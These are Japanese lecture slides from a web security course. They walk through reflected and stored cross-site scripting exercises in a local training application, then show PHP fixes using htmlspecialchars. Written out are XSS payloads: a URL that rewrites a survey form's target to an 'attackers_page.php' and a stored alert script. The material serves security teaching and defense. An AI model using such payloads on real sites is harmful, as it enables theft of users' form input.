不正スクリプトの実行対策(2)

サイバーセキュリティ演習
― Webセキュリティ基礎&実践―
4. 不正スクリプトの実行対策
講義内容
1. 2*. Webサイトの仕組みとWebプログラミング基礎
3.4.5*. 不正スクリプトの実行対策
6.7*.
データベースの不正操作対策
8 *.
システムの不正操作対策とHTTPレスポンスの改竄対策
9 *.
偽リクエストによるサービスの不正利用対策
10*.
セッションIDの
不正取得対策
11.
総合演習(1)
12*.
公開ディレクトリの不正横断対策と認証認可制御の欠落
による不正アクセス対策とエラーメッセージからの情報
漏えい対策
13.
総合演習(2)
14.
総合演習(3)
15.
学期末試験
※*はレポートがある回になります。
本日の内容
 クロスサイトスクリプティングの脆弱性攻
撃体験と脆弱性の修正
 入力情報の漏えい(反射型)
 掲示板に埋め込まれるスクリプト(格納型)
演習テーマ
クロスサイトスクリプティング
 「入力情報の漏えい(反射型)」のリンクをクリック
しましょう。
反射型クロスサイト・スクリプ
ティングの脆弱性の原理
 ウェブアプリケーションがユーザから受け取った入力データ
を、そのままの形(実行可能な形)でウェブページの出力に
利用してしまう
反射型クロスサイト・スクリプ
ティングの攻撃手口
 HTMLの文法上特別な意味を持つ特殊文字がそのまま使え
ることを利用して、リンク先を変更するスクリプトを
URLに組み込む。
 JavaScriptの利用は、スクリプトタグを使う。
<script type=“text/javascript”>~</script>:javascript利
用の宣言
特殊文字
&
<
>
“
‘
以下のHTMLは、どんな結果が
表示されるか考えてみよう
<html>
<head>
<script type="text/javascript">
function forward(){
document.getElementById("form").action="http://localhost/Web/Scen
ario105/attackers_page.php";
}
</script></head>
<body>
<form action="survey.html" id="form" method="get"
onsubmit="forward()">
<input type="submit" value="送信" />
</form></body></html>
Formタグのactionの内容を変
える
 document.getElementById(“id名”).action = “変更内
容";
 “id名”の付いたformタグのactionを”変更内容”に変更する。
演習内容(疑似的な攻撃)
 掲示板にアンケート送信先を改ざんするスクリプトを投
稿し、アンケートページの送信先の変更を確認する
 第三者のウェブサイト
 掲示板
 脆弱性がある
ウェブサイト
 セキュリティに
関するアンケート
演習の進め方
1. Webサイトの挙動を把握する
2. 脆弱性となる箇所を特定する
3. スクリプトを作成する
4. スクリプトを掲示板に投稿する
5. スクリプト投稿後の動作を確認する
1.Webサイトの挙動を把握する
 アンケートの入力フィー
ルドに様々な値を入力し
て動作を確認する。
 投稿先のURLがポップ
アップされることを確認
しましょう
 JavaScriptの処理内容と
処理している箇所を把握
しましょう
 URLも確認してみましょ
う
少しソースコードが変わっ
ています
1.Webサイトの挙動を把握する
<form action="/Web/Scenario104/VulSoft/enquete.php"
id="enquete_form" method="get" onsubmit="return check()">
(省略)
<input type="submit" value="アンケート投稿"/>
<input type="reset" value="クリア"/>
</form>
<div class="center"><a href="enquete.php?page=4">集計結果を
見る</a></div>
<span id="text6" class="none">この内容を</span>
<span id="text7" class="none">に送信します。</span>
1.Webサイトの挙動を把握する
「この内容を
<script type="text/javascript">
http://localhost/Web/Scenario104/
function check()
VulSoft/enquete.phpに送信しま
{
す。」をアラートで表示する
var action =
document.getElementById("enquete_form").action;
alert(document.getElementById("text6").innerHTML +
action +
document.getElementById("text7").innerHTML);
if (action != "http://" + window.location.host +
window.location.pathname) {
return false;
}
現在のURLと異なる場合は、
}
fasleとする。
(省略)
(ページ遷移はしない)
</script>
2.脆弱性となる箇所を特定する
 <sの文字をそれぞれの入
力フォームに入力して投
稿してみましょう。
 投稿後のHTMLソースも
確認しましょう。
 投稿後に<sが表示されな
い(ばれない)箇所は?
3.スクリプトを作成する
 アンケートページの投稿先のURLを別のURL
(http://localhost/Web/Scenario105/attackers_p
age.php)に変更するスクリプトを作成しよう。
 <script>document.getElementById(“id名”).action =
“変更URL";</script>
 formタグのId名をソースコードから特定しましょう。
 Id名と変更URLを修正してください。
4.スクリプトを掲示板に投稿
する
 掲示板に投稿するURLを作成しよう。
 http://localhost/Web/Scenario104/VulSoft/enquete
.php?page=2&sex=0&old=1&company=&xss=1&tro
uble=1&content=&name=<作成スクリプト>
 作成したスクリプトを追記してください。
 作成したURLを掲示板のURLフォームに投稿し、動作
を確認してください。
 http://localhost/Web/Scenario104/VulSoft/enquete.php
?page=2&sex=0&old=1&company=&xss=1&trouble=1&c
ontent=&name=<script>document.getElementById("en
quete_form").action="http://localhost/Web/Scenario105
/attackers_page.php";</script>
5.スクリプト投稿後の動作を
確認する
 「Congratulations!!演習
の目標を達成しまし
た。」と表示されたら、
OKです。
 「アンケート投稿」ボタ
ンをクリックして、別サ
イトのURLがポップアップ
するか確認しましょう。
対処方法
 原因
 外部から入力できるパラメータをそのまま使用す
るため、 HTML上にHTMLの文法上特別な意味を持
つ特殊文字があれば、そのままHTMLの処理が実行
される
 対処方法
 特殊文字の意味を打ち消し、文字そのものとして
扱うためのエスケープ処理を行う。
演習内容(脆弱性の修正)
 アンケートページの反射型クロスサイト・スクリプティ
ングの脆弱性となるコードを特定し、動的に生成される
文言にエスケープ処理を行う
修正プログラム
 掲示板
 bbs.php
 アンケート
 enquete.php
enquete.class.phpの処理内容をゲット
メッセージ割り当て
テンプレート表示
 enquete.class.php
集計結果(XMLデータ)の初期設定
演習課題の成功判定に関する処理
名前のエラー時の出力に関する処理
ちなみに
C:\AppGoat01\IPATool\S
cenarios\Common\Enque
teにソースコードがある
<?php
require_once "Enquete/base_enquete.class.php";
class Enquete extends Base_Enquete
一度だけ
base_enquete.class.phpを
読み込み実行し、
親子関係を確立している
{
(省略)
public function get_error_name(}{
$param = $this->get_get();
if (isset($param[parent::NAME])) {
return $param[parent::NAME];
} else {
return "";
}}
}
?>
このクラスの(親関係にある
base_enquete.class.phpか
ら継承した)get_get()関数
を実行
base_enquete.class.phpで
定義されている変数NAMEを
利用
脆弱性の修正の手順
 enquete.class.php
1. 名前のエラー時の出力処理の内容の確認。
2. htmlspecialchars関数を使用する箇所の特定。
3. htmlspecialchars関数を使用したプログラムへの修正。
1.名前のエラー時の出力処理
の内容の確認
 enquete.class.php
public function get_error_name()
{
$param = $this->get_get(); //リクエストパラメータを取得
if (isset($param[parent::NAME])) { //リクエストパラメータに
名前がセットされている場合
return $param[parent::NAME]; • isset関数で変数がセットさ
れているか検証している
} else {
}
}
return ""; //リクエストパラメータに
名前がセットされていない場合
2.htmlspecialchars関数を
使用する箇所の特定
 enquete.class.php
public function get_error_name()
{
$param = $this->get_get();
if (isset($param[parent::NAME])) {
return $param[parent::NAME];
} else {
return "";
}
}
3.htmlspecialchars関数を
使用したプログラムへの修正
 enquete.class.php
public function get_error_name()
{
$param = $this->get_get();
if (isset($param[parent::NAME])) {
return htmlspecialchars($param[parent::NAME],
ENT_QUOTES, "UTF-8");
} else {
return "";
}
}
動作確認
 スクリプトを含むURLを掲示板に投稿してみましょう。
 http://localhost/Web/Scenario104/EditSoft/enquet
e.php?page=2&sex=0&old=1&company=&xss=1&tr
ouble=1&content=&name=<script>document.getEl
ementById("enquete_form").action="
http://localhost/Web/Scenario105/attackers_page.
php";</script>
 投稿したスクリプトが実行されず、そのまま文字として
出力されたらOKです。
反射型クロスサイト・スクリプ
ティングの要点
 反射型クロスサイト・スクリプティングの脆弱性の原因
は、ウェブアプリケーションがユーザから受け取った入
力値を、エスケープ処理せずにそのまま使ってWeb
ページに出力することです。
 出力内容が動的に生成される場合は、スクリプトが実行
できないようにエスケープ処理をして表示するようにし
ましょう。
本日の内容
 クロスサイトスクリプティングの脆弱性攻
撃体験と脆弱性の修正
 入力情報の漏えい(反射型)
 掲示板に埋め込まれるスクリプト(格納型)
クロスサイトスクリプティング
の種類
 反射型クロスサイト・スクリプティングの脆弱性
 ウェブアプリケーションが、ユーザからの入力データに含
まれる不正なスクリプトを、そのままウェブページに埋め
込んでしまうことによって実行される。
 格納型クロスサイト・スクリプティングの脆弱性
 ウェブアプリケーション内部に不正なスクリプトを保存し
てしまうことによって、ページを閲覧するごとにスクリプ
トが実行される。
 DOMベースのクロスサイト・スクリプティングの脆
弱性
 DOM(Document Object Model)を利用しているスクリプ
トが、DOMツリーに存在する不正なスクリプトをウェブ
ページの表示に利用してしまうことによって実行される。
格納型クロスサイト・スクリプ
ティングの脆弱性の原理
 脆弱なウェブアプリケーションに対して、直接格納された不
正なスクリプトをそのまま実行してしまう。
 格納型と反射型の違いは、直接攻撃か間接攻撃かの違い
【反射型】
【格納型】
格納型クロスサイト・スクリプ
ティングの攻撃手口
 HTMLの文法上特別な意味を持つ特殊文字がそのまま使え
ることを利用して、アラートを出すスクリプトをそのま
ま投稿する。
 例えば、掲示板の本文の入力フォームに直接スクリプトを
入力する。
以下のHTMLは、どんな結果が
表示されるか考えてみよう
<html>
<head>
<script type="text/javascript">
window.onload=function(){
alert(“Warning!!”);
}
</script>
</head>
<body><h1 id="msg">Test Page</h1></body>
</html>
アラートを表示する
 alert(“表示内容”);
 文字列の場合は、ダブルクォート「”」またはシングル
クォート「’」で囲む
 数字の場合は、クォーテーションで囲まない
演習内容(疑似的な攻撃)
 掲示板にアラートを表示するスクリプトを投稿し、アク
セスしたユーザのブラウザ上でポップアップダイアログ
を表示させる
 脆弱性がある
ウェブサイト
 掲示板
演習の進め方
1. 脆弱性となる箇所を特定する
2. スクリプトを作成する
3. スクリプトを掲示板に投稿する
4. スクリプト投稿後の動作を確認する
1.脆弱性となる箇所を特定する
 <sの文字をそれぞれの入
力フォームに入力して投
稿してみましょう。
 投稿後のHTMLソースも
確認しましょう。
 投稿後に<sが表示されな
い(ばれない)箇所は?
2.スクリプトを作成する
 掲示板に投稿するスクリプトを作成しよう。
 <script>alert(“任意の文字列”)</script>
 アラートを表示するスクリプトを作成してください。
3.スクリプトを掲示板に投稿
する
 作成したスクリプトを掲示板の本文の入力フォームに
投稿し、動作を確認してください。
 <script>alert(“Warning!!”)</script>
4.スクリプト投稿後の動作を
確認する
 「Congratulations!!演習の目標を達成しました。」
とアラートが表示されたら、OKです。
対処方法
 原因
 外部から入力できるパラメータをそのまま使用す
るため、 HTML上にHTMLの文法上特別な意味を持
つ特殊文字があれば、そのままHTMLの処理が実行
される
 対処方法
 特殊文字の意味を打ち消し、文字そのものとして
扱うためのエスケープ処理を行う。
演習内容(脆弱性の修正)
 掲示板の格納型クロスサイト・スクリプティングの脆弱
性となるコードを特定し、動的に生成される文言にエス
ケープ処理を行う
修正プログラム
掲示板
 bbs.php
 bbs.class.phpの処理内容をゲット
 メッセージ割り当て
 テンプレート表示
 bbs.class.php
 チャット内容の初期設定
 データベースへの接続
 データベース情報の取得
 データベース情報を表示形式に変換
 演習課題の成功判定に関する処理
脆弱性の修正の手順
 bbs.class.php
1. データベースのデータ表示形式変換処理の内容の確認。
2. htmlspecialchars関数を使用する箇所の特定。
3. htmlspecialchars関数を使用したプログラムへの修正。
掲示板データベースの内容
const INIT_SQL = "CREATE TABLE bbs(
id integer PRIMARY KEY AUTOINCREMENT,
name text not null,
title text not null,
url text,
date text not null,
content text not null
);
INSERT INTO bbs(url,name, title, content, date)
VALUES ('1', '鈴木', 'テスト', 'これはテストで
す', '2010年4月3日 14:25');
(省略)
掲示板データベースの内容
bbsテーブル
id
(整
数)
name
(テキス
ト)
title
(テキス
ト)
url
(テキス
ト)
Date
(テキス
ト)
Content
(テキス
ト)
1
鈴木
テスト
1
2010年4月
3日 14:25
これはテス
トです
2
鈴木
掲示板をつ 2
くってみま
した
2010年4月
3日 14:30
ぜひ使って
ください
3
佐藤
テスト
2010年4月
4日 20:08
こんにちは
3
省略
1.データベースのデータ表示
形式変換処理の内容の確認
public function get_contents() {
$this->_contents["contents"] = array();
while($row = $this->stmt->fetch()) {
$content = array();
foreach($row as $k => $v) {
次ページで説明
最終的な結果を返す
ための配列を宣言
$value = null;
if ($k == parent::CONTENT) {
$value = nl2br($row[$k]);
$this->is_success($value);
} else {
$value = htmlspecialchars($row[$k], ENT_QUOTES, "UTF-8");
}
$content[$k] = $value;
}
$this->_contents["contents"][] = $content;
}
改ざん検証用にラン
ダムな文字列を生成
して代入
$this->_contents["token"] = AppGoatUtil::getToken();
return $this->_contents;
}
最終的な結果を返す
レコードの取得
while($row = $this->stmt->fetch()) {
$content = array();
レコードが取得できるまで繰り返す
(レコード単位で取得している。)
foreach($row as $k => $v) {
$value = null;
次ページで説明
if ($k == parent::CONTENT) {
$value = nl2br($row[$k]);
$this->is_success($value);
} else {
$value = htmlspecialchars($row[$k], ENT_QUOTES, "UTF-8");
}
$content[$k] = $value;
}
$this->_contents["contents"][] = $content;
}
最終的な結果を返す
ための配列に代入
カラムの値を取得
foreach($row as $k => $v) {
$value = null;
レコードのカラム名と値をそれぞれ変
数kとvに代入できるまで繰り返す
if ($k == parent::CONTENT) { 本文の内容はnl2br関数を使い、
それ以外はhtmlspecialchars
$value = nl2br($row[$k]);
関数を使う
$this->is_success($value);
攻撃成功判定を実施
} else {
$value = htmlspecialchars($row[$k], ENT_QUOTES,
"UTF-8");
}
$content[$k] = $value;
}
関数で変換した値をカラム単位
で配列に代入
While()とForeach()のイメー
ジ
bbsテーブル
id
name
title
(テキス
(テキス
(整
数)
ト)
while($rowト)
= $this->stmt->fetch())
1
鈴木
テスト
url
(テキス
ト)
Date
Content
(テキス
(テキス
ト)
ト)
foreach($row
as
$k => $v)
1
2010年4月 これはテス
3日 14:25 as
トです
foreach($row
$k => $v)
while($row = $this->stmt->fetch())
2
鈴木
掲示板をつ 2
くってみま
した
2010年4月
3日 14:30
ぜひ使って
ください
3
佐藤
テスト
2010年4月
4日 20:08
こんにちは
3
省略
htmlspecialchars()とnl2br()のイ
メージ
foreach()
row[id]
row[name]
1
foreach()
鈴木
htmlspecialchars()
row[id]
row[content]
…
これはテストです
htmlspecialchars()
row[name]
while()
nl2br()
row[content]
… ぜひ使ってください
2
鈴木
content[id]
content[content]
foreach() content[name]
… これはテストです
鈴木 row[name]
1
htmlspecialchars()
nl2br()
row[id] htmlspecialchars()
row[content]
3
content[id]
佐藤
content[name]
1
htmlspecialchars()
…
鈴木
htmlspecialchars()
content[id]
content[name]
3
佐藤
…
こんにちは
content[content]
これはテストです
nl2br()
content[content]
…
こんにちは
nl2br関数
 nl2br(文字列);
 引数に指定した文字列に含まれるすべての改行文字の前
に改行タグ(<br />)を自動で挿入するPHP関数。
 <? php
$msg = nl2br(“こんにちは。\nお元気ですか?”);
print $msg;
?>
“こんにちは。<br />\nお元気ですか?”
こんにちは。
お元気ですか?
2.htmlspecialchars関数を
使用する箇所の特定
foreach($row as $k => $v) {
$value = null;
if ($k == parent::CONTENT) {
$value = nl2br($row[$k]);
$this->is_success($value);
} else {
$value = htmlspecialchars($row[$k], ENT_QUOTES,
"UTF-8");
}
$content[$k] = $value;
}
3.htmlspecialchars関数を
使用したプログラムへの修正
foreach($row as $k => $v) {
$value = null;
if ($k == parent::CONTENT) {
$value = nl2br(htmlspecialchars($row[$k],
ENT_QUOTES, "UTF-8"));
$this->is_success($value);
} else {
$value = htmlspecialchars($row[$k], ENT_QUOTES,
"UTF-8");
}
$content[$k] = $value;
}
動作確認
 スクリプトを掲示板の本文に投稿してみましょう。
 <script>alert(“Warning!!”)</script>
 投稿したスクリプトが実行されなければOKです。
格納型クロスサイト・スクリプ
ティングの要点
 格納型クロスサイト・スクリプティングの脆弱性の原因
も、ウェブアプリケーションがユーザから受け取った入
力値を、エスケープ処理せずにそのまま使ってWeb
ページに出力することです。
 出力内容が動的に生成される場合は、スクリプトが実行
できないようにエスケープ処理をして表示するようにし
ましょう。